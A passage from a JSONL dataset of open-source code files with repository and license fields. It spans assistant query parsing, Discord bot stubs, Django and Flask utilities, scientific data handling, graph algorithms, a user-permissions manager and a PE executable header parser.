get everything after the search term\n query = tokenized_text[search_index+1:]\n query_found = True\n break\n\n # In case none of the search terms are included in spoken_text.\n # This is just a fallback and is not expected to be used very often.\n if not query_found:\n tokenized_patterns = []\n for pattern in patterns:\n tokens = tokenize(pattern)\n tokenized_patterns.extend(tokens)\n query = [\n word for word in tokenized_text if word not in tokenized_patterns\n ]\n query = ' '.join(query)\n # Need to remove whitespace before and after the wanted query.\n # This if useful for doing database searches on the query.\n query = query.strip()\n return query\n", "source": "Omarzintan/bumblebee-ai", "license": "MIT"}
+{"text": "##incompleted yt tuitorial\r\n\r\n\r\n##import discord\r\n##import json\r\n##import asyncio\r\n##import youtube_dl\r\n##import shell\r\n##import os\r\n##from discord.utils import get\r\n##from discord.ext import commands\r\n##\r\n##@client.command(pass_context=True)\r\n##async def join(ctx):\r\n## global voice\r\n## channel=ctx.message.author.voice.channel\r\n## voice=get(client.voice_clients,guild=ctx.guild)\r\n##\r\n## if voice and voice.is_connected():\r\n## await voice.move_to(channel)\r\n## else:\r\n## voice=await chqannel.connect()\r\n## await ctx.send(f\"Joined {channel}\")\r\n##\r\n##@client.command(pass_context=True)\r\n##async def leave(ctx):\r\n## channel=ctx.message.author.voice.channel\r\n## voice=get(client.voice_clients,guild=ctx.guild)\r\n##\r\n## if voice and voice.is_connected():\r\n## await voice.disconnect()\r\n## await ctx.send(f\"Left {channel}\")\r\n##\r\n##@client.command(pass_context=True,aliases=[\"p\"])\r\n##async def play(ctx,url:str):\r\n## def check_queue():\r\n## Queue_infile=os.path.indir(\"./Queue\")\r\n## if Queue_infile is True:\r\n## DIR =os.path.abspath(os.path.realpath(\"Queue\"))\r\n## length=len(os.\r\n## \r\n", "source": "Nova-Striker/discord-bot", "license": "Apache-2.0"}
+{"text": "# This technical data was produced for the U. S. Government under Contract No. W15P7T-13-C-F600, and\n# is subject to the Rights in Technical Data-Noncommercial Items clause at DFARS 252.227-7013 (FEB 2012)\n\nfrom django.core.management.base import BaseCommand, CommandError\nfrom django.core.management import call_command\n\nclass Command(BaseCommand):\n #args = ''\n help = 'Runs a standard dumpdata process'\n\n def handle(self, *args, **options):\n models_to_exclude = ['auth.permission', 'contenttypes']\n\n options['exclude'] = [] if not options.get('exclude') else options.get('exclude')\n map(options['exclude'].append, models_to_exclude)\n options['natural']= True\n options['indent']= options.get('indent') or 4\n\n call_command('dumpdata',*args, **options)\n self.stdout.write('Successfully dumped the data.\\n')\n", "source": "mcenirm/geoevents", "license": "MIT"}
+{"text": "from programs.viz import plot_labels, make_crop\nimport pandas as pd\nfrom pathlib import Path\nimport time\n\n\nclass Result:\n def __init__(\n self,\n id,\n fname,\n img,\n pred,\n n_digits=2,\n color_dict={\n 'uninfected': '#808080',\n 'ring': '#f77189',\n 'trophozoite': '#50b131',\n 'schizont': '#3ba3ec',\n 'gametocyte': '#ffd92f'\n },\n cutoffs=[1.5, 2.5]):\n self.id = id\n self.fname = fname\n self.img = img\n self.pred = pred\n self.n_digits = n_digits\n self.color_dict = color_dict\n self.cutoffs = cutoffs\n\n def __len__(self):\n return len(self.pred)\n\n def run(self, upload_folder):\n self.path = upload_folder / self.id\n self.path.mkdir(exist_ok=True)\n\n # infected cells\n self.counts = self.pred['classes'].value_counts()\n self.n_infected = self.counts[\n 'infected'] if 'infected' in self.counts.keys() else 0\n self.n_uninfected = self.counts[\n 'uninfected'] if 'uninfected' in self.counts.keys() else 0\n self.parasitemia = round(self.n_infected / len(self), self.n_digits)\n\n # life stages\n self.life_stage_counts = self.pred['life_stage_c'].value_counts()\n self.asex = self.get_asexuals(upload_folder)\n\n # plotting\n self.plot = Path(self.id) / 'full.png'\n self.plot_prediction(save_to=upload_folder / self.plot)\n\n def to_output(self):\n return {\n 'id': int(self.id),\n 'name': str(self.fname),\n 'n_cells': int(len(self)),\n 'n_infected': int(self.n_infected),\n 'n_uninfected': int(self.n_uninfected),\n 'parasitemia': float(self.parasitemia),\n 'plot': str(self.plot),\n 'n_ring': int(self.life_stage_counts.get('ring', 0)),\n 'n_troph': int(self.life_stage_counts.get('trophozoite', 0)),\n 'n_schizont': int(self.life_stage_counts.get('schizont', 0)),\n 'n_gam': int(self.life_stage_counts.get('gametocyte', 0)),\n 'asex_stages': list(self.asex['life_stage']),\n 'asex_images': list(self.asex['filename'])\n }\n\n def get_asexuals(self,\n upload_folder,\n stages=['ring', 'trophozoite', 'schizont']):\n asex = self.pred.loc[self.pred['life_stage_c'].isin(\n stages)].reset_index()\n asex['filename'] = asex['index'].apply(\n lambda x: str(Path(self.id) / ('%s.png' % x)))\n asex.apply(lambda x: make_crop(self.img, x['boxes'], upload_folder / x[\n 'filename']),\n axis=1)\n asex.sort_values('life_stage', inplace=True)\n asex['life_stage'] = asex['life_stage'].apply(\n lambda x: round(x, self.n_digits))\n return asex[['filename', 'life_stage']]\n\n def plot_prediction(self, save_to, **kwargs):\n plot_labels(self.img, {\n 'boxes': self.pred['boxes'].tolist(),\n 'labels': self.pred['life_stage_c'].tolist()\n },\n color_dict=self.color_dict,\n save_to=save_to,\n **kwargs)\n return save_to\n", "source": "ca2315/PlasmoCount", "license": "BSD-3-Clause"}
+{"text": "from collections import defaultdict\nimport copy\n\ndef get_next(current, d, finish):\n flag=False\n if len(d[current])==1: \n if d[current][0]==finish and len(d.keys())==1:\n flag= True\n else:\n new_d = copy.deepcopy(d)\n new_current = d[current][0]\n new_d.pop(current)\n flag=get_next(new_current, new_d, finish)\n elif len(d[current])>1: \n for index, c in enumerate(d[current]):\n new_d = copy.deepcopy(d)\n new_d[current].pop(index)\n new_current = c\n flag=get_next(new_current, new_d, finish)\n \n return flag\n\ndef can_get_chained(input):\n words = [(word[0], word[-1]) for word in input]\n \n d = defaultdict(list)\n for k, v in words:\n d[k].append(v)\n\n #Start with any word\n start = list(d.items())[0][0]\n \n return get_next(start, d, start)\n\ndef main():\n can_get_chained(['eggs', 'karat', 'apple', 'snack', 'tuna'])\n\nif __name__== \"__main__\":\n main()", "source": "ktaletsk/daily-problem", "license": "MIT"}
+{"text": "# -*- coding: utf-8 -*-\n\nimport os\nimport json\n\nimport torch\n\nBASE_DIR = os.path.abspath(os.path.dirname(__file__))\n\nclass Config:\n def __init__(self, json_file):\n self.config = json.loads(open(json_file).read())\n self.device = torch.device(\"cuda:1\" if torch.cuda.is_available() else \"cpu\")\n self.cpu_device = torch.device(\"cpu\")\n\n @property\n def shuffle_before_epoch_enable(self):\n return self.config['Training']['shuffle_before_epoch_enable']\n\n @property\n def is_LOMO(self):\n return 'test_allele' in self.config['Data']\n\n @property\n def test_allele(self):\n return self.config['Data'].get('test_allele', None)\n\n @property\n def weight_decay(self):\n return self.config['Training']['weight_decay']\n\n @property\n def bind_core_file(self):\n return os.path.join(BASE_DIR, 'dataset', self.config['Data']['bind_core_file'])\n\n @property\n def max_len_hla_A(self):\n return self.config['Data']['max_len_hla_A']\n\n @property\n def max_len_hla_B(self):\n return self.config['Data']['max_len_hla_B']\n\n @property\n def max_len_pep(self):\n return self.config['Data']['max_len_pep']\n\n @property\n def validation_ratio(self):\n return self.config['Data']['validation_ratio']\n\n @property\n def batch_size(self):\n return self.config['Training']['batch_size']\n\n @property\n def working_dir(self):\n return os.path.join(BASE_DIR, self.config['Paths']['working_dir'])\n\n @property\n def data_file(self):\n return os.path.join(BASE_DIR, 'dataset', self.config['Data']['data_file'])\n\n @property\n def test_file(self):\n return os.path.join(BASE_DIR, 'dataset', self.config['Data']['test_file'])\n\n @property\n def model_save_path(self):\n return os.path.join(self.working_dir, 'best_model.pytorch')\n\n @property\n def model_config(self):\n return self.config['Model']\n\n @property\n def grad_clip(self):\n return self.config['Training']['grad_clip']\n\n @property\n def start_lr(self):\n return self.config['Training']['start_lr']\n\n @property\n def min_lr(self):\n return self.config['Training']['min_lr']\n\n @property\n def epochs(self):\n return self.config['Training']['epochs']\n\n @property\n def loss_delta(self):\n return self.config['Training']['loss_delta']\n\n @property\n def seq_encode_dim(self):\n return self.model_config['seq_encoding_dim']\n\n @property\n def encoding_method(self):\n return self.model_config['encoding_method']\n\n @property\n def do_train(self):\n return self.config['do_train']\n\n @property\n def do_test(self):\n return self.config['do_test']\n", "source": "pcpLiu/DeepSeqPanII", "license": "MIT"}
+{"text": "# _*_ coding: utf-8 _*_\n\"\"\"\n\tCreated by lr on 2019/08/29.\n\t\u6b64\u6a21\u5757\u7528\u6765\u7f16\u5199flasgger\u4e2dapi\u5217\u8868\u4e0b\u7684\u8be6\u7ec6\u64cd\u4f5c\u4fe1\u606f\n\"\"\"\nfrom app.api_docs.v1 import user, client, token, \\\n\t\t\t\t\t\tbanner, theme, product, category, \\\n\t\t\t\t\t\taddress, order, pay\nfrom app.api_docs.cms import cms_user, file\n\n__author__ = 'lr'", "source": "linrong/flask-server", "license": "MIT"}
+{"text": "import collections\n\ndef SCCSearch(G):\n for v in G:\n G[v]['n']=G[v]['p']=0\n step=0\n S=collections.deque()\n res=[]\n for u in G:\n if (G[u]['n']==0):\n SCCSearch_r(G,u,step,S,res)\n return res\n\ndef SCCSearch_r(G,u,step,S,res):\n G[u]['p']=G[u]['n']=step\n step=step+1\n S.append(u)\n for v in G[u]['adj']:\n if (G[v]['n']==0):\n SCCSearch_r(G,v,step,S,res)\n G[u]['p']=min(G[u]['p'],\n G[v]['p'])\n elif (G[v]['n']\n#------------------------------------------------------------------------------\n\n\n# Enthought library imports.\nfrom pyface.action.api import Action\nfrom traits.api import Bool, Event, HasTraits, provides, \\\n Instance, List, Unicode\n\n# Local imports.\nfrom apptools.permissions.i_user import IUser\nfrom apptools.permissions.i_user_manager import IUserManager\nfrom apptools.permissions.package_globals import get_permissions_manager\nfrom apptools.permissions.permission import ManageUsersPermission\nfrom .i_user_database import IUserDatabase\n\n\n@provides(IUserManager)\nclass UserManager(HasTraits):\n \"\"\"The default user manager implementation.\"\"\"\n\n\n\n #### 'IUserManager' interface #############################################\n\n management_actions = List(Instance(Action))\n\n user = Instance(IUser)\n\n user_actions = List(Instance(Action))\n\n user_authenticated = Event(IUser)\n\n #### 'UserManager' interface ##############################################\n\n # The user database.\n user_db = Instance(IUserDatabase)\n\n ###########################################################################\n # 'IUserManager' interface.\n ###########################################################################\n\n def bootstrapping(self):\n \"\"\"Return True if we are bootstrapping, ie. no users have been defined.\n \"\"\"\n\n return self.user_db.bootstrapping()\n\n def authenticate_user(self):\n \"\"\"Authenticate the user.\"\"\"\n\n if self.user_db.authenticate_user(self.user):\n self.user.authenticated = True\n\n # Tell the policy manager before everybody else.\n get_permissions_manager().policy_manager.load_policy(self.user)\n\n self.user_authenticated = self.user\n\n def unauthenticate_user(self):\n \"\"\"Unauthenticate the user.\"\"\"\n\n if self.user.authenticated and self.user_db.unauthenticate_user(self.user):\n self.user.authenticated = False\n\n # Tell the policy manager before everybody else.\n get_permissions_manager().policy_manager.load_policy(None)\n\n self.user_authenticated = None\n\n def matching_user(self, name):\n \"\"\"Select a user.\"\"\"\n\n return self.user_db.matching_user(name)\n\n ###########################################################################\n # Trait handlers.\n ###########################################################################\n\n def _management_actions_default(self):\n \"\"\"Return the list of management actions.\"\"\"\n\n from apptools.permissions.secure_proxy import SecureProxy\n\n user_db = self.user_db\n actions = []\n perm = ManageUsersPermission()\n\n if user_db.can_add_user:\n act = Action(name=\"&Add a User...\", on_perform=user_db.add_user)\n actions.append(SecureProxy(act, permissions=[perm], show=False))\n\n if user_db.can_modify_user:\n act = Action(name=\"&Modify a User...\",\n on_perform=user_db.modify_user)\n actions.append(SecureProxy(act, permissions=[perm], show=False))\n\n if user_db.can_delete_user:\n act = Action(name=\"&Delete a User...\",\n on_perform=user_db.delete_user)\n actions.append(SecureProxy(act, permissions=[perm], show=False))\n\n return actions\n\n def _user_actions_default(self):\n \"\"\"Return the list of user actions.\"\"\"\n\n actions = []\n\n if self.user_db.can_change_password:\n actions.append(_ChangePasswordAction())\n\n return actions\n\n def _user_default(self):\n \"\"\"Return the default current user.\"\"\"\n\n return self.user_db.user_factory()\n\n def _user_db_default(self):\n \"\"\"Return the default user database.\"\"\"\n\n # Defer to an external user database if there is one.\n try:\n from apptools.permissions.external.user_database import UserDatabase\n except ImportError:\n from apptools.permissions.default.user_database import UserDatabase\n\n return UserDatabase()\n\n\nclass _ChangePasswordAction(Action):\n \"\"\"An action that allows the current user to change their password. It\n isn't exported through actions/api.py because it is specific to this user\n manager implementation.\"\"\"\n\n #### 'Action' interface ###################################################\n\n enabled = Bool(False)\n\n name = Unicode(\"&Change Password...\")\n\n ###########################################################################\n # 'object' interface.\n ###########################################################################\n\n def __init__(self, **traits):\n \"\"\"Initialise the object.\"\"\"\n\n super(_ChangePasswordAction, self).__init__(**traits)\n\n get_permissions_manager().user_manager.on_trait_event(self._refresh_enabled, 'user_authenticated')\n\n ###########################################################################\n # 'Action' interface.\n ###########################################################################\n\n def perform(self, event):\n \"\"\"Perform the action.\"\"\"\n\n um = get_permissions_manager().user_manager\n um.user_db.change_password(um.user)\n\n ###########################################################################\n # Private interface.\n ###########################################################################\n\n def _refresh_enabled(self, user):\n \"\"\"Invoked whenever the current user's authorisation state changes.\"\"\"\n\n self.enabled = user is not None\n", "source": "adamcvj/SatelliteTracker", "license": "Apache-2.0"}
+{"text": "import sys\nfrom itertools import chain\nfrom pathlib import Path\n\nimport pytest\n\nimport acconeer.exptool as et\n\n\nHERE = Path(__file__).parent\npath = (HERE / \"..\" / \"..\" / \"utils\").resolve()\nsys.path.append(path.as_posix())\n\nfrom convert_to_csv import record_to_csv # noqa: E402\n\n\n@pytest.mark.parametrize(\"test_file\", chain(HERE.glob(\"**/*.h5\"), HERE.glob(\"**/*.npz\")))\ndef test_csv_conversion_is_exact(test_file):\n # The idea is to test the csv conversion corresponds exactly to the data file.\n # Aimed to catch rounding errors and flipped cols/rows.\n record = et.recording.load(test_file)\n if record.mode == et.Mode.SPARSE:\n pytest.skip(\"CSV-ifying of sparse data is not supported at this moment.\")\n\n data = record.data.squeeze()\n assert data.ndim == 2\n\n csv_table = record_to_csv(record)\n csv_table_sac = record_to_csv(record, sweep_as_column=True)\n\n assert data.shape == csv_table.shape\n assert data.T.shape == csv_table_sac.shape\n\n for row in range(data.shape[0]):\n for col in range(data.shape[1]):\n assert data[row, col] == complex(csv_table[row, col])\n assert data[row, col] == complex(csv_table_sac[col, row])\n", "source": "DiwakerJha/acconeer-python-exploration", "license": "BSD-3-Clause-Clear"}
+{"text": "from app.vars.client import client\nfrom app.helpers import Notify, params \nfrom app.filesystem import cfg\n\n@client.command()\nasync def template(ctx):\n notify = Notify(ctx=ctx, title='Template File...')\n \n", "source": "Hacker-1202/Selfium", "license": "MIT"}
+{"text": "import logging, operator, functools, itertools, array, ptypes\nfrom ptypes import *\n\nfrom .headers import *\nfrom . import portable\n\nclass Signature(pint.enum, uint16):\n # We'll just store all signature types here\n _values_ = [\n ('IMAGE_DOS_SIGNATURE', 0x5a4d),\n ('IMAGE_OS2_SIGNATURE', 0x454e),\n ('IMAGE_OS2_SIGNATURE_LE', 0x454c),\n ('IMAGE_NT_SIGNATURE', 0x4550),\n ]\n\nclass IMAGE_DOS_HEADER(pstruct.type):\n class e_magic(Signature): pass\n\n class Relocation(pstruct.type):\n _fields_ = [\n ( uint16, 'offset' ),\n ( uint16, 'segment' ),\n ]\n\n def linear(self):\n return self['segment'].int()*0x10 + self['offset'].int()\n\n def decode(self, **attrs):\n p = self.getparent(ptype.boundary)\n attrs.setdefault('offset', p['Stub'].getoffset()+self.linear())\n return self.new(ptype.undefined, **attrs)\n\n def summary(self):\n seg, offset = self['segment'], self['offset']\n return \"(segment:offset) {:04x}:{:04x} (linear) {:05x}\".format(seg.int(), offset.int(), (seg.int() * 0x10 + offset.int()) & 0xfffff)\n\n def repr(self):\n return self.summary()\n\n class Oem(pstruct.type):\n _fields_ = [\n ( dyn.array(uint16, 4), 'e_reserved' ),\n ( uint16, 'e_oemid' ),\n ( uint16, 'e_oeminfo' ),\n ( dyn.array(uint16, 10), 'e_reserved2' ),\n ]\n\n # FIXME: this implementation should be properly tested as there's a chance it could be fucked with\n def __e_oem(self):\n res = self['e_lfarlc'].li\n fields = ['e_magic', 'e_cblp', 'e_cp', 'e_crlc', 'e_cparhdr', 'e_minalloc', 'e_maxalloc', 'e_ss', 'e_sp', 'e_csum', 'e_ip', 'e_cs', 'e_lfarlc', 'e_ovno']\n\n # if our calculated size for the field directly matches the Oem\n # structure, then this for sure is going to be a PECOFF executable.\n t = IMAGE_DOS_HEADER.Oem\n if res.int() == sum(self[fld].li.size() for fld in fields) + t().a.size() + 4:\n return t\n\n # otherwise we need to pad it with whatever the input claims it should be\n return dyn.block(max(0, res.int() - sum(self[fld].li.size() for fld in fields)))\n\n def __e_lfanew(self):\n paragraphs, relocations = self['e_cparhdr'].li, self['e_lfarlc'].li\n fields = ['e_magic', 'e_cblp', 'e_cp', 'e_crlc', 'e_cparhdr', 'e_minalloc', 'e_maxalloc', 'e_ss', 'e_sp', 'e_csum', 'e_ip', 'e_cs', 'e_lfarlc', 'e_ovno', 'e_oem']\n\n # if everything matches, then there's a pointer here for PECOFF executables\n if 0x10 * paragraphs.int() == relocations.int() == sum(self[fld].li.size() for fld in fields) + 4:\n return dyn.rpointer(Next, self, pint.uint32_t)\n\n # otherwise, there isn't anything here.\n return pint.uint_t\n\n def __e_rlc(self):\n res = self['e_crlc'].li\n return dyn.array(IMAGE_DOS_HEADER.Relocation, res.int())\n\n def __e_parhdr(self):\n res = 0x10 * self['e_cparhdr'].li.int()\n\n fields = ['e_magic', 'e_cblp', 'e_cp', 'e_crlc', 'e_cparhdr', 'e_minalloc', 'e_maxalloc', 'e_ss', 'e_sp', 'e_csum', 'e_ip', 'e_cs', 'e_lfarlc', 'e_ovno']\n fields+= ['e_oem', 'e_rlc', 'e_lfanew']\n return dyn.block(res - sum(self[fld].li.size() for fld in fields))\n\n def filesize(self):\n res = self['e_cp'].li.int()\n if res > 0:\n cp = res - 1\n return cp * 0x200 + self['e_cblp'].li.int()\n return 0\n\n def headersize(self):\n res = self['e_cparhdr'].li\n return res.int() * 0x10\n\n def datasize(self):\n res = self.headersize()\n return (self.filesize() - res) if res > 0 else 0\n\n def __e_lfarlc(self):\n res = self['e_crlc'].li\n t = dyn.array(IMAGE_DOS_HEADER.Relocation, res.int())\n return dyn.rpointer(t, self, uint16)\n\n #e_cparhdr << 4\n #e_cp << 9\n _fields_ = [\n ( e_magic, 'e_magic' ),\n ( uint16, 'e_cblp' ), # bytes in last page / len mod 512 / UsedBytesInLastPage\n ( uint16, 'e_cp' ), # pages / 512b pagees / FileSizeInPages\n ( uint16, 'e_crlc' ), # relocation count / reloc entries count / NumberOfRelocationItems\n ( uint16, 'e_cparhdr' ), # header size in paragraphs (paragraph=0x10) / number of paragraphs before image / HeaderSizeInParagraphs\n ( uint16, 'e_minalloc' ), # required paragraphs / minimum number of bss paragraphs / MinimumExtraParagraphs\n ( uint16, 'e_maxalloc' ), # requested paragraphs / maximum number of bss paragraphs / MaximumExtraParagraphs\n ( uint16, 'e_ss' ), # ss / stack of image / InitialRelativeSS\n ( uint16, 'e_sp' ), # sp / sp of image / InitialSP\n ( uint16, 'e_csum' ), # checksum / checksum (ignored) / Checksum\n ( uint16, 'e_ip' ), # ip / ip of entry / InitialIP\n ( uint16, 'e_cs' ), # cs / cs of entry / InitialrmwwelativeIp\n ( __e_lfarlc, 'e_lfarlc' ), # relocation table\n\n ( uint16, 'e_ovno'), # overlay number\n #( uint32, 'EXE_SYM_TAB'), # from inc/exe.inc\n\n # all the data below here changes based on the linker:\n # Borland, ARJ, LZEXE, PKLITE, LHARC, LHA, CRUNCH, BSA, LARC, etc..\n ( __e_oem, 'e_oem'), # oem and reserved data\n ( __e_lfanew, 'e_lfanew'),\n ( __e_rlc, 'e_rlc' ), # relocations?\n ( __e_parhdr, 'e_parhdr'),\n ]\n\n### What file format the next header is\nclass NextHeader(ptype.definition):\n cache = {}\n\n### What file format the data is\nclass NextData(ptype.definition):\n cache = {}\n\nclass Next(pstruct.type):\n def __Header(self):\n t = self['Signature'].li.serialize()\n return NextHeader.withdefault(t, type=t)\n\n def __Data(self):\n t = self['Signature'].li.serialize()\n return NextData.withdefault(t, type=t)\n\n _fields_ = [\n (Signature, 'Signature'),\n (__Header, 'Header'),\n (__Data, 'Data'),\n ]\n\n def Header(self):\n return self['Header']\n\n def Data(self):\n return self['Data']\n\n## Portable Executable (PE)\n@NextHeader.define\nclass IMAGE_NT_HEADERS(pstruct.type, Header):\n type = b'PE'\n\n def __Padding(self):\n '''Figure out the PE header size and pad according to SizeOfHeaders'''\n p = self.getparent(File)\n\n sz = p['Header']['e_lfanew'].li.int()\n opt = self['OptionalHeader'].li\n\n f = functools.partial(operator.getitem, self)\n res = map(f, ('SignaturePadding', 'FileHeader', 'OptionalHeader', 'DataDirectory', 'Sections'))\n res = sum(map(operator.methodcaller('blocksize'), res))\n res += 2\n return dyn.block(opt['SizeOfHeaders'].int() - res - sz)\n\n def __DataDirectory(self):\n cls = self.__class__\n length = self['OptionalHeader'].li['NumberOfRvaAndSizes'].int()\n if length > 0x10: # XXX\n logging.warning(\"{:s} : OptionalHeader.NumberOfRvaAndSizes specified >0x10 entries ({:#x}) for the DataDirectory. Assuming the maximum of 0x10.\".format('.'.join((cls.__module__, cls.__name__)), length))\n length = 0x10\n return dyn.clone(portable.DataDirectory, length=length)\n\n def __Sections(self):\n header = self['FileHeader'].li\n length = header['NumberOfSections'].int()\n return dyn.clone(portable.SectionTableArray, length=length)\n\n _fields_ = [\n (uint16, 'SignaturePadding'),\n (portable.IMAGE_FILE_HEADER, 'FileHeader'),\n (portable.IMAGE_OPTIONAL_HEADER, 'OptionalHeader'),\n (__DataDirectory, 'DataDirectory'),\n (__Sections, 'Sections'),\n (__Padding, 'Padding'),\n ]\n\n def FileHeader(self):\n '''Return the FileHeader which contains a number of sizes used by the file.'''\n return self['FileHeader']\n\n def getaddressbyoffset(self, offset):\n section = self['Sections'].getsectionbyoffset(offset)\n return section.getaddressbyoffset(offset)\n\n def getoffsetbyaddress(self, address):\n section = self['Sections'].getsectionbyaddress(address)\n return section.getoffsetbyaddress(address)\n\n def loadconfig(self):\n return self['DataDirectory'][10]['Address'].d.li\n\n def tls(self):\n return self['DataDirectory'][9]['Address'].d.li\n\n def relocateable(self):\n characteristics = self['OptionalHeader']['DllCharacteristics']\n return 'DYNAMIC_BASE' in characteristics\n\n def has_seh(self):\n characteristics = self['OptionalHeader']['DllCharacteristics']\n return 'NO_SEH' not in characteristics\n\n def has_nx(self):\n characteristics = self['OptionalHeader']['DllCharacteristics']\n return 'NX_COMPAT' in characteristics\n\n def has_integrity(self):\n characteristics = self['OptionalHeader']['DllCharacteristics']\n return 'FORCE_INTEGRITY' in characteristics\n\n def is64(self):\n return self['OptionalHeader'].li.is64()\n\n def checksum(self):\n p = self.getparent(File)\n res = self['OptionalHeader']['Checksum']\n\n # Make a copy of our checksum initialized to 0\n field = res.copy(offset=res.offset - p.offset).set(0)\n\n # Make a copy of our File header, and overwrite the original\n # checksum with 0 so that we can calculate what the checksum\n # is supposed to be.\n data = bytearray(p.serialize())\n data[field.offset : field.offset + field.size()] = field.serialize()\n\n # Pad the data so that it's a multiple of a dword\n res = 4 - len(data) % 4\n padding = b'\\0' * (res % 4)\n\n # Calculate 16-bit checksum\n res = sum(array.array('I' if len(array.array('I', 4 * b'\\0')) > 1 else 'H', bytes(data) + padding))\n checksum = len(data)\n checksum += res & 0xffff\n checksum += res // 0x10000\n checksum += checksum // 0x10000\n checksum &= 0xffff\n\n # Clamp the result to 32-bits\n return checksum & 0xffffffff\n\n def Machine(self):\n return self['FileHeader']['Machine']\nPortable = IMAGE_NT_HEADERS64 = IMAGE_NT_HEADERS\n\nclass SegmentEntry(pstruct.type):\n '''\n Base class for a section entry that both memory-backed and file-backed\n entries inherit from.\n '''\n def properties(self):\n res = super(SegmentEntry, self).properties()\n if hasattr(self, 'Section'):\n res['SectionName'] = self.Section['Name'].str()\n return res\n\nclass MemorySegmentEntry(SegmentEntry):\n '''\n This SegmentEntry represents the structure of a segment that has been\n already mapped into memory. This honors the SectionAlignment field from\n the OptionalHeader when padding the segment's data.\n '''\n noncontiguous = True\n def __Padding(self):\n p = self.getparent(Next)\n header = p.Header()\n optionalheader = header['OptionalHeader'].li\n return dyn.align(optionalheader['SectionAlignment'].int(), undefined=True)\n\n _fields_ = [\n (__Padding, 'Padding'),\n (lambda self: dyn.block(self.Section.getloadedsize()), 'Data'),\n ]\n\nclass FileSegmentEntry(SegmentEntry):\n '''\n This SegmentEntry represents the structure of a segment that is on the\n disk and hasn't been mapped into memory. This honors the FileAlignment\n field from the OptionalHeader when padding the segment's data.\n '''\n def __Padding(self):\n p = self.getparent(Next)\n header = p.Header()\n optionalheader = header['OptionalHeader'].li\n return dyn.align(optionalheader['FileAlignment'].int(), undefined=True)\n\n _fields_ = [\n (__Padding, 'Padding'),\n (lambda self: dyn.block(self.Section.getreadsize()), 'Data'),\n ]\n\nclass SegmentTableArray(parray.type):\n '''\n This is a simple array of segment entries where each entry is individually\n tied directly to the SectionTableEntry that it is associated with. Each\n entry is aligned depending on whether it is being loaded from disk or has\n been already loaded into memory.\n '''\n def _object_(self):\n p = self.getparent(Next)\n header = p.Header()\n sections = header['Sections']\n entry = MemorySegmentEntry if isinstance(self.source, ptypes.provider.memorybase) else FileSegmentEntry\n return dyn.clone(entry, Section=sections[len(self.value)])\n\n@NextData.define\nclass IMAGE_NT_DATA(pstruct.type, Header):\n type = b'PE'\n\n def __Segments(self):\n header = self.p.Header()\n fileheader = header['FileHeader'].li\n\n # Warn the user if we're unable to determine whether the source is a\n # file-backed or memory-backed provider.\n if all(not isinstance(self.source, item) for item in {ptypes.provider.memorybase, ptypes.provider.fileobj}):\n cls = self.__class__\n logging.warning(\"{:s} : Unknown ptype source.. treating as a fileobj : {!r}\".format('.'.join((cls.__module__, cls.__name__)), self.source))\n\n return dyn.clone(SegmentTableArray, length=fileheader['NumberOfSections'].int())\n\n def __CertificatePadding(self):\n header = self.p.Header()\n if len(header['DataDirectory']) < 4:\n return ptype.undefined\n\n res = header['DataDirectory'][4]\n offset, size = res['Address'].int(), res['Size'].int()\n if offset == 0 or isinstance(self.source, ptypes.provider.memorybase):\n return ptype.undefined\n\n if isinstance(self.source, ptypes.provider.bounded) and offset < self.source.size():\n res = self['Segments'].li.getoffset() + self['Segments'].blocksize()\n return dyn.block(offset - res)\n\n return ptype.undefined\n\n def __Certificate(self):\n header = self.p.Header()\n if len(header['DataDirectory']) < 4:\n return ptype.undefined\n\n res = header['DataDirectory'][4]\n offset, size = res['Address'].int(), res['Size'].int()\n if offset == 0 or isinstance(self.source, ptypes.provider.memorybase):\n return ptype.undefined\n\n if isinstance(self.source, ptypes.provider.bounded) and offset < self.source.size():\n return dyn.clone(parray.block, _object_=portable.headers.Certificate, blocksize=lambda self, size=size: size)\n\n return ptype.undefined\n\n _fields_ = [\n (__Segments, 'Segments'),\n (__CertificatePadding, 'CertificatePadding'),\n (__Certificate, 'Certificate'),\n ]\n\n@NextHeader.define\nclass DosExtender(pstruct.type, Header):\n type = b'DX'\n _fields_ = [\n (word, 'MinRModeParams'),\n (word, 'MaxRModeParams'),\n\n (word, 'MinIBuffSize'),\n (word, 'MaxIBuffSize'),\n (word, 'NIStacks'),\n (word, 'IStackSize'),\n (dword, 'EndRModeOffset'),\n (word, 'CallBuffSize'),\n (word, 'Flags'),\n (word, 'UnprivFlags'),\n (dyn.block(104), 'Reserv'),\n ]\n\n@NextHeader.define\nclass PharLap(pstruct.type, Header):\n type = b'MP'\n _fields_ = [\n (word, 'SizeRemaind'),\n (word, 'ImageSize'),\n (word, 'NRelocs'),\n (word, 'HeadSize'),\n (word, 'MinExtraPages'),\n (dword, 'ESP'),\n (word, 'CheckSum'),\n (dword, 'EIP'),\n (word, 'FirstReloc'),\n (word, 'NOverlay'),\n (word, 'Reserved'),\n ]\n\n class SegInfo(pstruct.type):\n _fields_ = [\n (word, 'Selector'),\n (word, 'Flags'),\n (dword, 'BaseOff'),\n (dword, 'MinAlloc'),\n ]\n\n class RunTimeParams(DosExtender): pass\n\n class RepeatBlock(pstruct.type):\n _fields_ = [\n (word, 'Count'),\n (lambda s: dyn.block(s['Count'].li.int()), 'String'),\n ]\n\n@NextHeader.define\nclass PharLap3(PharLap, Header):\n type = b'P3'\n\n class OffsetSize(pstruct.type):\n def __Offset(self):\n t = getattr(self, '_object_', ptype.block)\n return dyn.rpointer(lambda _: dyn.clone(t, blocksize=lambda _:self['Size'].li.int()), self.getparent(PharLap3), dword)\n\n _fields_ = [\n (__Offset, 'Offset'),\n (dword, 'Size'),\n ]\n\n def summary(self):\n return '{:#x}:{:+#x}'.format(self['Offset'].int(), self['Size'].int())\n\n _fields_ = [\n (word, 'Level'),\n (word, 'HeaderSize'),\n (dword, 'FileSize'),\n (word, 'CheckSum'),\n\n (dyn.clone(OffsetSize, _object_=PharLap.RunTimeParams), 'RunTimeParams'),\n (OffsetSize, 'Reloc'),\n (dyn.clone(OffsetSize, _object_=dyn.clone(parray.block, _object_=PharLap.SegInfo)), 'SegInfo'),\n (word, 'SegEntrySize'),\n (OffsetSize, 'Image'),\n (OffsetSize, 'SymTab'),\n (OffsetSize, 'GDTLoc'),\n (OffsetSize, 'LDTLoc'),\n (OffsetSize, 'IDTLoc'),\n (OffsetSize, 'TSSLoc'),\n\n (dword, 'MinExtraPages'),\n (dword, 'MaxExtraPages'),\n\n (dword, 'Base'),\n (dword, 'ESP'),\n (word, 'SS'),\n (dword, 'EIP'),\n (word, 'CS'),\n (word, 'LDT'),\n (word, 'TSS'),\n\n (word, 'Flags'),\n (dword, 'MemReq'),\n 